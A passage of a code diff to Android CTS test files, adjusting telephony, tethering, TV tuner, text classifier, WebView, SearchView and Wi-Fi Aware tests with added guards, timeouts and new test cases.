     public void testIsSupportedCountry_returnsFalse_ifCountryIsOnUnsupportedList() {
+        // Only test it when EuiccManager is enabled.
+        if (!mEuiccManager.isEnabled()) {
+            return;
+        }
+
         // Get country list for restoring later.
         List<String> originalSupportedCountry = mEuiccManager.getSupportedCountries();
         List<String> originalUnsupportedCountry = mEuiccManager.getUnsupportedCountries();
@@ -418,6 +448,11 @@
 
     @Test
     public void testIsSupportedCountry_returnsFalse_ifBothListsAreEmpty() {
+        // Only test it when EuiccManager is enabled.
+        if (!mEuiccManager.isEnabled()) {
+            return;
+        }
+
         // Get country list for restoring later.
         List<String> originalSupportedCountry = mEuiccManager.getSupportedCountries();
         List<String> originalUnsupportedCountry = mEuiccManager.getUnsupportedCountries();
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
index 6899e42..2c24f18 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -196,6 +196,20 @@
         if (tm.getSimState(sTestSlot) != TelephonyManager.SIM_STATE_READY) {
             fail("This test requires that there is a SIM in the device!");
         }
+        // Sanity check: ensure that the subscription hasn't changed between tests.
+        int[] subs = SubscriptionManager.getSubId(sTestSlot);
+
+        if (subs == null) {
+            fail("This test requires there is an active subscription in slot " + sTestSlot);
+        }
+        boolean isFound = false;
+        for (int sub : subs) {
+            isFound |= (sTestSub == sub);
+        }
+        if (!isFound) {
+            fail("Invalid state found: the test subscription in slot " + sTestSlot + " changed "
+                    + "during this test.");
+        }
     }
 
     @After
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
index 8c904ee..50ae5b7 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsUtils.java
@@ -54,22 +54,34 @@
 
     public static int getPreferredActiveSubId() {
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        int defaultSubId = SubscriptionManager.getDefaultVoiceSubscriptionId();
-        if (defaultSubId != SubscriptionManager.INVALID_SUBSCRIPTION_ID) {
-            return defaultSubId;
-        }
-        // Couldn't resolve a default. We can try to resolve a default using the active
-        // subscriptions.
         SubscriptionManager sm = (SubscriptionManager) context.getSystemService(
                 Context.TELEPHONY_SUBSCRIPTION_SERVICE);
         List<SubscriptionInfo> infos = ShellIdentityUtils.invokeMethodWithShellPermissions(sm,
                 SubscriptionManager::getActiveSubscriptionInfoList);
+
+        int defaultSubId = SubscriptionManager.getDefaultVoiceSubscriptionId();
+        if (defaultSubId != SubscriptionManager.INVALID_SUBSCRIPTION_ID
+                && isSubIdInInfoList(infos, defaultSubId)) {
+            return defaultSubId;
+        }
+
+        defaultSubId = SubscriptionManager.getDefaultSubscriptionId();
+        if (defaultSubId != SubscriptionManager.INVALID_SUBSCRIPTION_ID
+                && isSubIdInInfoList(infos, defaultSubId)) {
+            return defaultSubId;
+        }
+
+        // Couldn't resolve a default. We can try to resolve a default using the active
+        // subscriptions.
         if (!infos.isEmpty()) {
             return infos.get(0).getSubscriptionId();
         }
-        // The best we can do is fall back to any default set. If it fails, notify the tester
-        // that there must be a default set.
-        return SubscriptionManager.getDefaultSubscriptionId();
+        // There must be at least one active subscription.
+        return SubscriptionManager.INVALID_SUBSCRIPTION_ID;
+    }
+
+    private static boolean isSubIdInInfoList(List<SubscriptionInfo> infos, int subId) {
+        return infos.stream().anyMatch(info -> info.getSubscriptionId() == subId);
     }
 
     /**
diff --git a/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java b/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
index 8665c7e..5e2f627 100644
--- a/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
+++ b/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
@@ -56,8 +56,12 @@
 import android.net.TetheringManager.TetheringInterfaceRegexps;
 import android.net.TetheringManager.TetheringRequest;
 import android.net.cts.util.CtsNetUtils;
+import android.net.cts.util.CtsNetUtils.TestNetworkCallback;
+import android.net.wifi.WifiClient;
 import android.net.wifi.WifiManager;
+import android.net.wifi.WifiManager.SoftApCallback;
 import android.os.Bundle;
+import android.os.ConditionVariable;
 import android.os.PersistableBundle;
 import android.os.ResultReceiver;
 import android.telephony.CarrierConfigManager;
@@ -134,6 +138,40 @@
         dropShellPermissionIdentity();
     }
 
+    private static class StopSoftApCallback implements SoftApCallback {
+        private final ConditionVariable mWaiting = new ConditionVariable();
+        @Override
+        public void onStateChanged(int state, int failureReason) {
+            if (state == WifiManager.WIFI_AP_STATE_DISABLED) mWaiting.open();
+        }
+
+        @Override
+        public void onConnectedClientsChanged(List<WifiClient> clients) { }
+
+        public void waitForSoftApStopped() {
+            if (!mWaiting.block(DEFAULT_TIMEOUT_MS)) {
+                fail("stopSoftAp Timeout");
+            }
+        }
+    }
+
+    // Wait for softAp to be disabled. This is necessary on devices where stopping softAp
+    // deletes the interface. On these devices, tethering immediately stops when the softAp
+    // interface is removed, but softAp is not yet fully disabled. Wait for softAp to be
+    // fully disabled, because otherwise the next test might fail because it attempts to
+    // start softAp before it's fully stopped.
+    private void expectSoftApDisabled() {
+        final StopSoftApCallback callback = new StopSoftApCallback();
+        try {
+            mWm.registerSoftApCallback(c -> c.run(), callback);
+            // registerSoftApCallback will immediately call the callback with the current state, so
+            // this callback will fire even if softAp is already disabled.
+            callback.waitForSoftApStopped();
+        } finally {
+            mWm.unregisterSoftApCallback(callback);
+        }
+    }
+
     private class TetherChangeReceiver extends BroadcastReceiver {
         private class TetherState {
             final ArrayList<String> mAvailable;
@@ -285,13 +323,15 @@
         assertTrue(tetheredIfaces.length == 0);
 
         final StartTetheringCallback startTetheringCallback = new StartTetheringCallback();
-        mTM.startTethering(new TetheringRequest.Builder(TETHERING_WIFI).build(),
-                c -> c.run() /* executor */, startTetheringCallback);
+        final TetheringRequest request = new TetheringRequest.Builder(TETHERING_WIFI)
+                .setShouldShowEntitlementUi(false).build();
+        mTM.startTethering(request, c -> c.run() /* executor */, startTetheringCallback);
         startTetheringCallback.verifyTetheringStarted();
 
         mTetherChangeReceiver.expectTethering(true /* active */, wifiRegexs);
 
         mTM.stopTethering(TETHERING_WIFI);
+        expectSoftApDisabled();
         mTetherChangeReceiver.expectTethering(false /* active */, wifiRegexs);
     }
 
@@ -528,8 +568,9 @@
         assertFalse(isIfaceMatch(wifiRegexs, callback.getTetheredInterfaces()));
 
         final StartTetheringCallback startTetheringCallback = new StartTetheringCallback();
-        mTM.startTethering(new TetheringRequest.Builder(TETHERING_WIFI).build(),
-                c -> c.run() /* executor */, startTetheringCallback);
+        final TetheringRequest request = new TetheringRequest.Builder(TETHERING_WIFI)
+                .setShouldShowEntitlementUi(false).build();
+        mTM.startTethering(request, c -> c.run() /* executor */, startTetheringCallback);
         startTetheringCallback.verifyTetheringStarted();
 
         callback.expectTetheredInterfacesChanged(wifiRegexs);
@@ -541,6 +582,7 @@
 
     private void stopWifiTethering(final TestTetheringEventCallback callback) {
         mTM.stopTethering(TETHERING_WIFI);
+        expectSoftApDisabled();
         callback.expectTetheredInterfacesChanged(null);
         callback.expectOneOfOffloadStatusChanged(TETHER_HARDWARE_OFFLOAD_STOPPED);
     }
@@ -714,7 +756,15 @@
                 mCtsNetUtils.disconnectFromWifi(null);
             }
 
-            final Network activeNetwork = mCm.getActiveNetwork();
+            final TestNetworkCallback networkCallback = new TestNetworkCallback();
+            Network activeNetwork = null;
+            try {
+                mCm.registerDefaultNetworkCallback(networkCallback);
+                activeNetwork = networkCallback.waitForAvailable();
+            } finally {
+                mCm.unregisterNetworkCallback(networkCallback);
+            }
+
             assertNotNull("No active network. Please ensure the device has working mobile data.",
                     activeNetwork);
             final NetworkCapabilities activeNetCap = mCm.getNetworkCapabilities(activeNetwork);
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
index 0f2e8113..e04c879 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierServiceSwapTest.java
@@ -38,6 +38,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+import com.android.compatibility.common.util.RequiredServiceRule;
 import com.android.compatibility.common.util.SafeCleanerRule;
 
 import org.junit.Rule;
@@ -69,9 +70,13 @@
                     ApplicationProvider.getApplicationContext().getPackageName(),
                     TextClassifier.WIDGET_TYPE_EDIT_WEBVIEW)
                     .build();
+    private final RequiredServiceRule mRequiredServiceRule =
+            new RequiredServiceRule(Context.TEXT_CLASSIFICATION_SERVICE);
+
     @Rule
     public final RuleChain mAllRules = RuleChain
-            .outerRule(mTestWatcher)
+            .outerRule(mRequiredServiceRule)
+            .around(mTestWatcher)
             .around(mSafeCleanerRule);
 
     @Test
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierTestWatcher.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierTestWatcher.java
index c921da2..ec7a89c5 100644
--- a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierTestWatcher.java
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextClassifierTestWatcher.java
@@ -161,6 +161,12 @@
         // set the test service
         runShellCommand("device_config put textclassifier textclassifier_service_package_override "
                 + CtsTextClassifierService.MY_PACKAGE);
+        // Wait for the current bound TCS to be unbounded.
+        try {
+            Thread.sleep(1_000);
+        } catch (InterruptedException e) {
+            Log.e(TAG, "Error while sleeping");
+        }
     }
 
     private void resetOriginalService() {
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
index e1c165b..6649ca6 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvInputManagerTest.java
@@ -19,17 +19,25 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.pm.PackageManager;
+import android.media.AudioManager;
 import android.media.tv.TvContentRating;
+import android.media.tv.TvInputHardwareInfo;
 import android.media.tv.TvInputInfo;
 import android.media.tv.TvInputManager;
+import android.media.tv.TvInputManager.Hardware;
+import android.media.tv.TvInputManager.HardwareCallback;
 import android.media.tv.TvInputService;
+import android.media.tv.TvStreamConfig;
 import android.os.Handler;
 import android.test.ActivityInstrumentationTestCase2;
 
 import com.android.compatibility.common.util.PollingCheck;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.io.IOException;
 import java.util.ArrayList;
+import java.util.concurrent.Executor;
 import java.util.List;
 
 import org.xmlpull.v1.XmlPullParserException;
@@ -53,6 +61,7 @@
     private String mStubId;
     private TvInputManager mManager;
     private LoggingCallback mCallback = new LoggingCallback();
+    private TvInputInfo mStubTvInputInfo;
 
     private static TvInputInfo getInfoForClassName(List<TvInputInfo> list, String name) {
         for (TvInputInfo info : list) {
@@ -75,6 +84,8 @@
         mManager = (TvInputManager) getActivity().getSystemService(Context.TV_INPUT_SERVICE);
         mStubId = getInfoForClassName(
                 mManager.getTvInputList(), StubTvInputService2.class.getName()).getId();
+        mStubTvInputInfo = getInfoForClassName(
+                mManager.getTvInputList(), StubTvInputService2.class.getName());
     }
 
     public void testGetInputState() throws Exception {
@@ -245,6 +256,56 @@
         getInstrumentation().waitForIdleSync();
     }
 
+    public void testAcquireTvInputHardware() {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+            .adoptShellPermissionIdentity("android.permission.TV_INPUT_HARDWARE",
+                    "android.permission.TUNER_RESOURCE_ACCESS");
+        if (mManager == null) {
+            return;
+        }
+        // Update hardware device list
+        int deviceId = 0;
+        boolean hardwareDeviceAdded = false;
+        List<TvInputHardwareInfo> hardwareList = mManager.getHardwareList();
+        if (hardwareList == null || hardwareList.isEmpty()) {
+            // Use the test api to add an HDMI hardware device
+            mManager.addHardwareDevice(deviceId);
+            hardwareDeviceAdded = true;
+        } else {
+            deviceId = hardwareList.get(0).getDeviceId();
+        }
+
+        // Acquire Hardware with a record client
+        HardwareCallback callback = new HardwareCallback() {
+            @Override
+            public void onReleased() {}
+
+            @Override
+            public void onStreamConfigChanged(TvStreamConfig[] configs) {}
+        };
+        CallbackExecutor executor = new CallbackExecutor();
+        Hardware hardware = mManager.acquireTvInputHardware(
+                deviceId, mStubTvInputInfo, null /*tvInputSessionId*/,
+                TvInputService.PRIORITY_HINT_USE_CASE_TYPE_PLAYBACK,
+                executor, callback);
+        assertNotNull(hardware);
+
+        // Acquire the same device with a LIVE client
+        Hardware hardwareAcquired = mManager.acquireTvInputHardware(
+                deviceId, mStubTvInputInfo, null /*tvInputSessionId*/,
+                TvInputService.PRIORITY_HINT_USE_CASE_TYPE_LIVE,
+                executor, callback);
+
+        assertNotNull(hardwareAcquired);
+
+        // Clean up
+        if (hardwareDeviceAdded) {
+            mManager.removeHardwareDevice(deviceId);
+        }
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+            .dropShellPermissionIdentity();
+    }
+
     private static class LoggingCallback extends TvInputManager.TvInputCallback {
         private final List<String> mAddedInputs = new ArrayList<>();
         private final List<String> mRemovedInputs = new ArrayList<>();
@@ -292,4 +353,11 @@
             return null;
         }
     }
+
+    public class CallbackExecutor implements Executor {
+        @Override
+        public void execute(Runnable r) {
+            r.run();
+        }
+    }
 }
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerDvrTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerDvrTest.java
index d23414c..e560e5c 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerDvrTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerDvrTest.java
@@ -42,6 +42,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import java.io.File;
+import java.io.RandomAccessFile;
 import java.util.concurrent.Executor;
 
 import org.junit.After;
@@ -124,6 +125,7 @@
         d.stop();
         d.close();
         if (filter != null) {
+            d.detachFilter(filter);
             filter.stop();
             filter.close();
         }
@@ -131,6 +133,37 @@
         tmpFile.delete();
     }
 
+    @Test
+    public void testDvrPlayback() throws Exception {
+        if (!hasTuner()) return;
+        DvrPlayback d = mTuner.openDvrPlayback(1000, getExecutor(), getPlaybackListener());
+        assertNotNull(d);
+        d.configure(getDvrSettings());
+
+        File tmpFile = File.createTempFile("cts_tuner", "dvr_test");
+        try (RandomAccessFile raf = new RandomAccessFile(tmpFile, "rw")) {
+            byte[] bytes = new byte[] {3, 5, 10, 22, 73, 33, 19};
+            raf.write(bytes);
+        }
+
+        Filter f = mTuner.openFilter(
+                Filter.TYPE_TS, Filter.SUBTYPE_SECTION, 1000, getExecutor(), getFilterCallback());
+        d.attachFilter(f);
+        d.detachFilter(f);
+
+        d.setFileDescriptor(
+                ParcelFileDescriptor.open(tmpFile, ParcelFileDescriptor.MODE_READ_WRITE));
+
+        d.start();
+        d.flush();
+        assertEquals(3, d.read(3));
+        assertEquals(3, d.read(new byte[3], 0, 3));
+        d.stop();
+        d.close();
+
+        tmpFile.delete();
+    }
+
     private OnRecordStatusChangedListener getRecordListener() {
         return new OnRecordStatusChangedListener() {
             @Override
@@ -138,6 +171,13 @@
         };
     }
 
+    private OnPlaybackStatusChangedListener getPlaybackListener() {
+        return new OnPlaybackStatusChangedListener() {
+            @Override
+            public void onPlaybackStatusChanged(int status) {}
+        };
+    }
+
     private Executor getExecutor() {
         return Runnable::run;
     }
diff --git a/tests/tests/uirendering/Android.bp b/tests/tests/uirendering/Android.bp
index 99f04cf..ee9fa2b 100644
--- a/tests/tests/uirendering/Android.bp
+++ b/tests/tests/uirendering/Android.bp
@@ -24,6 +24,7 @@
     static_libs: [
         "compatibility-device-util-axt",
         "ctsdeviceutillegacy-axt",
+        "cts-wm-util",
         "mockito-target-minus-junit4",
         "androidx.test.rules",
         "kotlin-test",
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/runner/UiRenderingRunner.java b/tests/tests/uirendering/src/android/uirendering/cts/runner/UiRenderingRunner.java
index c161d49..072f501 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/runner/UiRenderingRunner.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/runner/UiRenderingRunner.java
@@ -18,6 +18,8 @@
 
 import android.content.Intent;
 import android.os.Bundle;
+import android.provider.Settings;
+import android.server.wm.settings.SettingsSession;
 import android.support.test.uiautomator.UiDevice;
 import android.uirendering.cts.util.BitmapDumper;
 
@@ -28,6 +30,16 @@
  */
 public class UiRenderingRunner extends AndroidJUnitRunner {
 
+    private static class ImmersiveConfirmationSetting extends SettingsSession<String> {
+        ImmersiveConfirmationSetting() {
+            super(Settings.Secure.getUriFor(
+                    Settings.Secure.IMMERSIVE_MODE_CONFIRMATIONS),
+                    Settings.Secure::getString, Settings.Secure::putString);
+        }
+    }
+
+    private ImmersiveConfirmationSetting mSettingsSession;
+
     @Override
     protected void waitForActivitiesToComplete() {
         // No.
@@ -37,6 +49,10 @@
     public void onCreate(Bundle arguments) {
         super.onCreate(arguments);
 
+        // Disable immersive clings
+        mSettingsSession = new ImmersiveConfirmationSetting();
+        mSettingsSession.set("confirmed");
+
         final UiDevice device = UiDevice.getInstance(this);
         try {
             device.wakeUp();
@@ -53,6 +69,8 @@
         // Ok now wait if necessary
         super.waitForActivitiesToComplete();
 
+        mSettingsSession.close();
+
         super.onDestroy();
     }
 }
diff --git a/tests/tests/util/AndroidManifest.xml b/tests/tests/util/AndroidManifest.xml
index 3d402d5..77ab380 100644
--- a/tests/tests/util/AndroidManifest.xml
+++ b/tests/tests/util/AndroidManifest.xml
@@ -18,12 +18,6 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.util.cts">
 
-    <queries>
-        <package android:name="com.android.cts.install.lib.testapp.A" />
-        <package android:name="com.android.cts.install.lib.testapp.B" />
-        <package android:name="com.android.cts.install.lib.testapp.C" />
-    </queries>
-
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.READ_LOGS" />
     <application>
diff --git a/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp b/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
index ab4ce58..fbf9f9a 100644
--- a/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
+++ b/tests/tests/view/jni/android_view_cts_ChoreographerNativeTest.cpp
@@ -408,16 +408,25 @@
     Callback* cb64 = new Callback("cb64");
     auto start = now();
 
+    auto vsyncPeriod = std::chrono::duration_cast<std::chrono::milliseconds>(
+                           NOMINAL_VSYNC_PERIOD)
+                           .count();
     auto delay = std::chrono::duration_cast<std::chrono::milliseconds>(DELAY_PERIOD).count();
     AChoreographer_postFrameCallbackDelayed(choreographer, frameCallback, cb1, delay);
     AChoreographer_postFrameCallbackDelayed64(choreographer, frameCallback64, cb64, delay);
 
     std::this_thread::sleep_for(DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 10);
-    ALooper_pollAll(16, nullptr, nullptr, nullptr);
+    // Ensure that callbacks are seen by the looper instance at approximately
+    // the same time, and provide enough time for the looper instance to process
+    // the delayed callback and the requested vsync signal if needed.
+    ALooper_pollAll(vsyncPeriod * 5, nullptr, nullptr, nullptr);
     verifyRefreshRateCallback(env, cb, 1);
-    verifyCallback(env, cb64, 1, start, DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 11);
+    verifyCallback(env, cb64, 1, start,
+                   DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 15);
     const auto delayToTestFor32Bit =
-            sizeof(long) == sizeof(int64_t) ? DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 11 : ZERO;
+        sizeof(long) == sizeof(int64_t)
+            ? DELAY_PERIOD + NOMINAL_VSYNC_PERIOD * 15
+            : ZERO;
     verifyCallback(env, cb1, 1, start, delayToTestFor32Bit);
     AChoreographer_unregisterRefreshRateCallback(choreographer, refreshRateCallback, cb);
 }
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
index 66b1539..7ab5143 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
@@ -19,6 +19,7 @@
 import static android.opengl.GLES20.GL_COLOR_BUFFER_BIT;
 import static android.opengl.GLES20.glClear;
 import static android.opengl.GLES20.glClearColor;
+import static android.opengl.GLES20.glFinish;
 
 import android.app.Activity;
 import android.content.pm.ActivityInfo;
@@ -258,6 +259,7 @@
         int surfaceUpdateCount = mSurfaceUpdatedCount;
         runOnGLThread(() -> {
             callback.drawFrame(mSurfaceWidth, mSurfaceHeight);
+            glFinish();
             if (!mEgl.eglSwapBuffers(mEglDisplay, mEglSurface)) {
                 throw new RuntimeException("Cannot swap buffers");
             }
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
index 22052e1..6a1c4d6 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
@@ -770,17 +770,10 @@
         Thread.sleep(1000);
         assertEquals("Loaded", mOnUiThread.getTitle());
 
-        // Test that when AppCache is enabled and a valid path is provided, we
-        // get an AppCache callback of some kind.
-        mSettings.setAppCachePath(getActivity().getDir("appcache", 0).getPath());
-        mOnUiThread.loadUrlAndWaitForCompletion(url);
-        new PollingCheck(WEBVIEW_TIMEOUT) {
-            @Override
-            protected boolean check() {
-                return mOnUiThread.getTitle() != null
-                        && mOnUiThread.getTitle().endsWith("Callback");
-            }
-        }.run();
+        // We used to test that when AppCache is enabled and a valid path is
+        // provided, we got an AppCache callback of some kind, but AppCache is
+        // deprecated on the web and will be removed from Chromium in the
+        // future, so this test has been removed.
     }
 
     // Ideally, we need a test case for the enabled case. However, it seems that
diff --git a/tests/tests/widget/src/android/widget/cts/SearchViewTest.java b/tests/tests/widget/src/android/widget/cts/SearchViewTest.java
index 7e8bd68..d752773 100644
--- a/tests/tests/widget/src/android/widget/cts/SearchViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SearchViewTest.java
@@ -43,6 +43,7 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.CtsKeyEventUtil;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
@@ -288,27 +289,24 @@
         when(mockQueryTextListener.onQueryTextSubmit(anyString())).thenReturn(Boolean.TRUE);
         mSearchView.setOnQueryTextListener(mockQueryTextListener);
 
-        mActivityRule.runOnUiThread(() -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, () -> {
             mSearchView.setQuery("alpha", false);
             mSearchView.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
 
-        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_ENTER);
-        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, null);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mSearchView, KeyEvent.KEYCODE_ENTER);
 
         verify(mockQueryTextListener, times(1)).onQueryTextChange("alpha");
         verify(mockQueryTextListener, atLeastOnce()).onQueryTextSubmit("alpha");
 
-        mInstrumentation.waitForIdleSync();
-        mActivityRule.runOnUiThread(() -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, () -> {
             mSearchView.setQuery("beta", false);
             mSearchView.requestFocus();
         });
         mInstrumentation.waitForIdleSync();
 
-        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_NUMPAD_ENTER);
-        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, null);
+        CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mSearchView, KeyEvent.KEYCODE_NUMPAD_ENTER);
 
         verify(mockQueryTextListener, times(1)).onQueryTextChange("beta");
         verify(mockQueryTextListener, atLeastOnce()).onQueryTextSubmit("beta");
diff --git a/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java b/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java
index e0cd2e2..2c5c398 100644
--- a/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java
@@ -46,6 +46,7 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.CtsKeyEventUtil;
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.WidgetTestUtils;
@@ -246,34 +247,34 @@
                 spy(new MyQueryTextListener());
         when(mockQueryTextListener.onQueryTextChange(anyString())).thenCallRealMethod();
 
-        mActivityRule.runOnUiThread(() -> {
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, () -> {
             mSearchView.setIconifiedByDefault(false);
             mSearchView.setOnQueryTextListener(mockQueryTextListener);
             mSearchView.setOnSuggestionListener(mockSuggestionListener);
             mSearchView.requestFocus();
+            mSearchView.setQuery("Di", false);
         });
 
-        mActivityRule.runOnUiThread(() -> mSearchView.setQuery("Di", false));
         mInstrumentation.waitForIdleSync();
         verify(mockQueryTextListener, times(1)).onQueryTextChange("Di");
 
-        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);
-        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_ENTER);
-        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, null);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mSearchView, KeyEvent.KEYCODE_DPAD_DOWN,
+                KeyEvent.KEYCODE_ENTER);
 
-        // Just to be sure, verify that our spy suggestion listener was called
+        // Verify that our spy suggestion listener was called.
         verify(mockSuggestionListener, times(1)).onSuggestionClick(0);
 
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, () -> {
+            mSearchView.setQuery("Bo", false);
+        });
 
-        mActivityRule.runOnUiThread(() -> mSearchView.setQuery("Bo", false));
         mInstrumentation.waitForIdleSync();
         verify(mockQueryTextListener, times(1)).onQueryTextChange("Bo");
 
-        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);
-        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_NUMPAD_ENTER);
-        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mSearchView, null);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mSearchView, KeyEvent.KEYCODE_DPAD_DOWN,
+                KeyEvent.KEYCODE_NUMPAD_ENTER);
 
-        // Just to be sure, verify that our spy suggestion listener was called
+        // Verify that our spy suggestion listener was called.
         verify(mockSuggestionListener, times(2)).onSuggestionClick(0);
 
         verifyNoMoreInteractions(mockSuggestionListener);
diff --git a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index 8df75b1..b532568 100644
--- a/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -70,7 +70,9 @@
 
     // wait for Wi-Fi Aware state changes & network requests callbacks
     private static final int WAIT_FOR_AWARE_CHANGE_SECS = 15; // 15 seconds
+    private static final int WAIT_FOR_NETWORK_STATE_CHANGE_SECS = 25; // 25 seconds
     private static final int INTERVAL_BETWEEN_TESTS_SECS = 3; // 3 seconds
+    private static final int WAIT_FOR_AWARE_INTERFACE_CREATION_SEC = 3; // 3 seconds
     private static final int MIN_DISTANCE_MM = 1 * 1000;
     private static final int MAX_DISTANCE_MM = 3 * 1000;
     private static final byte[] PMK_VALID = "01234567890123456789012345678901".getBytes();
@@ -351,7 +353,7 @@
          */
         boolean waitForOnUnavailable() {
             try {
-                return mBlocker.await(WAIT_FOR_AWARE_CHANGE_SECS, TimeUnit.SECONDS);
+                return mBlocker.await(WAIT_FOR_NETWORK_STATE_CHANGE_SECS, TimeUnit.SECONDS);
             } catch (InterruptedException e) {
                 return false;
             }
@@ -723,7 +725,7 @@
      * Request an Aware data-path (open) as a Responder with an arbitrary peer MAC address. Validate
      * that receive an onUnavailable() callback.
      */
-    public void testDataPathOpenOutOfBandFail() {
+    public void testDataPathOpenOutOfBandFail() throws InterruptedException {
         if (!TestUtils.shouldTestWifiAware(getContext())) {
             return;
         }
@@ -738,6 +740,7 @@
         session.publish(publishConfig, discoveryCb, mHandler);
         assertTrue("Publish started",
                 discoveryCb.waitForCallback(DiscoverySessionCallbackTest.ON_PUBLISH_STARTED));
+        Thread.sleep(WAIT_FOR_AWARE_INTERFACE_CREATION_SEC * 1000);
 
         // 2. request an AWARE network
         NetworkCallbackTest networkCb = new NetworkCallbackTest();
@@ -757,7 +760,7 @@
      * MAC address.
      * Validate that receive an onUnavailable() callback.
      */
-    public void testDataPathPassphraseOutOfBandFail() {
+    public void testDataPathPassphraseOutOfBandFail() throws InterruptedException {
         if (!TestUtils.shouldTestWifiAware(getContext())) {
             return;
         }
@@ -772,6 +775,7 @@
         session.publish(publishConfig, discoveryCb, mHandler);
         assertTrue("Publish started",
